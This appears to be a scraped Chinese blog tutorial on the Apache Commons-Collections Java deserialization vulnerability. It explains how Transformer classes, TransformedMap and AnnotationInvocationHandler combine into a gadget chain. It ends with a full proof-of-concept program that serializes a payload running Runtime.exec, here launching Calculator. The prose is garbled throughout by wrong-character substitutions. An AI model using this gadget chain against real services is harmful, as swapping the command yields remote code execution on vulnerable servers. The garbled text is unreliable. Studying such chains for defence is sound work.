共计 11580 个字符,预计需要花费 29 分钟才能阅读完成。
前言
本文将通过 Apache Commons-collections 爆出的反序列化破绽来作为例子进行原理剖析。
破绽成因
在这个 Java 反序列化破绽的利用链次要由三个局部组成
1、能够执行恶意代码的对象(在这个例子中即为 Commons-collection
中的 Transformer
类)
2、一个被歹意对象“寄生的宿主”,艰深的来说就是,宿主对象反序列化的时候因为须要执行 readObject
办法,而 readObject
办法在能够被序列化的类中须要被重写,重写后的办法可能存在某些可能触发歹意对象执行的操作。
3、须要一个可能将歹意对象进行包装的类。在有的状况下歹意对象没有方法间接‘寄生“在宿主上,这时候就须要一个类可能将歹意对象进行包装
在这个例子中恶意代码对象为 Commons-collection
中的 Transformer
类,这个类本来的设计是用来对类进行转换,而通过精心设计(后文会具体解说)后可能通过这个类的 transform
办法实现命令执行。而被寄生的宿主为 AnnotationInvocationHandlerMap
类,通过其 readObject
办法可能触发破绽。而 AnnotationInvocationHandlerMap
类中有一个 Map
类型的成员变量 memberValues
,Transformer
类能够通过用 Map
类包装寄生在 AnnotationInvocationHandlerMap
类
接下来会分为两个局部解释,即 1 如何通过 transfomer
进行命令执行,2 是如何利用反序列化实现一个调用链
Transformer 类的作用
首先咱们先看一下导致这个问题的外围类Transformer
public interface Transformer {public Object transform(Object input);
}
这是一个接口类,须要实现一个 transform
办法,而 transform
办法的目标是将 input object
转换为一个output object
从而实现类型的转换
在整个调用过程中用到了三个实现 Transformer
的实现类,ConstantTransformer,InvokerTransformer,ChainedTransformer.
ConstantTransformer
// 以下省去了局部代码
public class ConstantTransformer implements Transformer, Serializable {
/** Serial version UID */
private static final long serialVersionUID = 6374440726369055124L;
/** The closures to call in turn */
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {super();
iConstant = constantToReturn;
}
public Object transform(Object input) {return iConstant;}
}
可通过查看 ConstantTransformer
的源码发现,其 transform
办法无论输出什么类型都会返回一种初始化时定好的类型。
System.out.println(new ConstantTransformer(Runtime.class).transform(String.class));
// 输入:class java.lang.Runtime
// 无论 transform 的参数是什么都会失去雷同的后果
InvokerTransformer
// 以下省去了局部代码
public class InvokerTransformer implements Transformer, Serializable {
/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {if (input == null) {return null;}
try {Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {***}
}
return method.invoke(input, iArgs);
InvokerTransformer
的 transform
办法则是将传入的类的某种办法(办法名和参数同样在初始化的时候设定好了)利用 invoke
进行调用
System.out.println(new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}).transform(Runtime.class));
//output:public static java.lang.Runtime java.lang.Runtime.getRuntime()
当输出的参数为 Runtime.class
时相当于会调用 Runtime.class
的getMethod
办法
public Method getMethod(String name, Class<?>... parameterTypes)
能够看到这个办法所须要的参数为 name 和参数类型,所以咱们如果须要获取 Runtime
的getRuntime
办法则须要传入的参数为 “getRuntime”
即办法名以及其对应的参数类型 Class<?>
public static Runtime getRuntime() {return currentRuntime;}
而 getRuntime
是个无参函数,所以传入一个空的 Class 数组即可。即Class[0]
。
ChainedTransformer
// 省略局部代码
public class ChainedTransformer implements Transformer, Serializable {
/** Serial version UID */
private static final long serialVersionUID = 3514945074733160196L;
/** The transformers to call in turn */
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {super();
iTransformers = transformers;
}
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer
的 transform
办法的作用是调用多个 transfomer
的transform
顺次对 object
进行操作也就是能够将多个 transformer
串联起来
命令执行
假如咱们须要执行一段这样的代码 Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
那咱们能够结构如下的调用链来实现
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(new Object());
即以上四个 Transformer
形成了一个 ChainedTransformer
,最终通过调用ChainedTransformer
的transform
办法来实现命令执行
// 通过 ConstantTransformer 先将传入的 obejct 批改为 Runtime.class
new ConstantTransformer(Runtime.class)
之前提到过 InvokerTransformer
的transformer
办法的作用是利用反射调用输出对象的某个办法
// 将 Runtime.class 作为输出能够失去 getRuntime 的 Method 对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]})
// 调用 Method 对象的 invoke 办法, 参数为 new Object[]{null,new Object[0]}
// 相当于执行 method(getRuntime).invoke(null,new Object[0])
// 因为 getRuntime 为静态方法,所以不须要传入实例,所以 invoke 办法的第一个参数能够为 null, 之前提到过 getRuntime 为无参办法所以参数只须要传入 new Object[0]即一个空数组,至于这里为什么不也传入一个 null 是因为当 invoke 做遍历 args 时不会报错
// 所以这个 InvokerTransformer 达到了传入一个 Method 对象转化为一个 Runtime 对象的目标
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
// 拿到 Runtime 对象后再通过一次反射进行命令执行即可
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
TransformedMap
以上的调用形式最终须要 ChainedTransformer
调用 transform
办法,那当初问题就变成了如何去触发这个办法,通过 find usage 看看有哪些类用到了 Transformer
,能够看到有一个TransformedMap
应用了,对源码进行查看
// 以下省略局部代码
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformValue(Object object) {if (valueTransformer == null) {return object;}
return valueTransformer.transform(object);
}
protected Map transformMap(Map map) {if (map.isEmpty()) {return map;}
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
}
return result;
}
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}
public Object put(Object key, Object value) {key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
}
TransformedMap
执行 setValue/put/putAll
中的任意办法都会调用 transform
办法,从而也就会触发命令执行。咱们只须要将之前结构好的歹意 ChainedTransformer
包装进 TransformedMap
并想方法触发 TransformedMap
的setValue/put/putAll
办法即可
Map innerMap = new HashMap();
innerMap.put("value","1");
Map ouputMap = TransformedMap.decorate(innerMap,null,chainedTransformer);
AnnotationInvocationHandlerMap 类
在 Java 的低版本 (jdk1.8 较低的版本如 1.8u60, 在较高的 jdk 版本该问题类曾经被修复) 代码中存在 AnnotationInvocationHandlerMap
类,其 readObject
办法如下所示
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}
}
AnnotationInvocationHandler
类实现了 InvocationHandler
(Java 动静代理
) 接口和 java.io.Serializable
接口,它还重写了 readObject
办法,在 readObject
办法中还间接的调用了 TransformedMap
中MapEntry
的 setValue
办法,触发 TransformedMap
中的 checkSetValue
办法,从而也就触发了 transform
办法,实现了整个攻打链的调用。
因为 sun.reflect.annotation.AnnotationInvocationHandler
是一个外部 API 专用的类,在内部咱们无奈通过类名创立出 AnnotationInvocationHandler
类实例,所以咱们须要通过反射的形式创立出 AnnotationInvocationHandler
对象
//jdk1.8 高版本该类的办法 readObject()是应用了 native 办法安全更新 map,无奈再触发
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
咱们只须要将这个 InvocationHandler
对象序列化后就能够失去用于攻打的 payload
了。
残缺代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class SerializeMapForTransformer
{public static void main( String[] args ) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformer = new ChainedTransformer(transformers);
// 利用 AnnotationInvocationHandler 反序列化,间接触发 Transformer ---jdk1.8 高版本曾经更新无奈再胜利了
testAnnotationInvocationHandlerMap(transformer);
// 测试 TransformerMap 在 map 的 key、value 扭转中触发
//testMap(transformer);
}
/**
* 测试 AnnotationInvocationHandler 反序列化中,间接触发 Transformer
*
*/
private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{
// 转化 map
Map innerMap = new HashMap();
innerMap.put("value","1");
Map ouputMap = TransformedMap.decorate(innerMap,null,transformer);
//jdk1.8 该类的办法 readObject()是应用了 native 办法安全更新 map,无奈再触发
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
// 序列化输入
byte[] bytes = serialize(o);
// 反序列化
deserialize(bytes);
}
/**
* 测试 TransformerMap 在包装的 map 中,key、value 扭转触发 Transformer
*
*/
private static void testMap(Transformer transformer) throws Exception{
// 转化 map
Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);
// 序列化输入
byte[] bytes = serialize(ouputMap);
// 反序列化
Map innerMap = deserialize(bytes);
//put 操作触发,命令链
innerMap.put("1","value");
}
public static byte[] serialize(Object o) throws Exception {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
byte[] bytes = byteArrayOutputStream.toByteArray();
objectOutputStream.close();
return bytes;
}
public static <T>T deserialize(byte[] bytes) throws Exception {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
T o = (T) objectInputStream.readObject();
objectInputStream.close();
return o;
}
}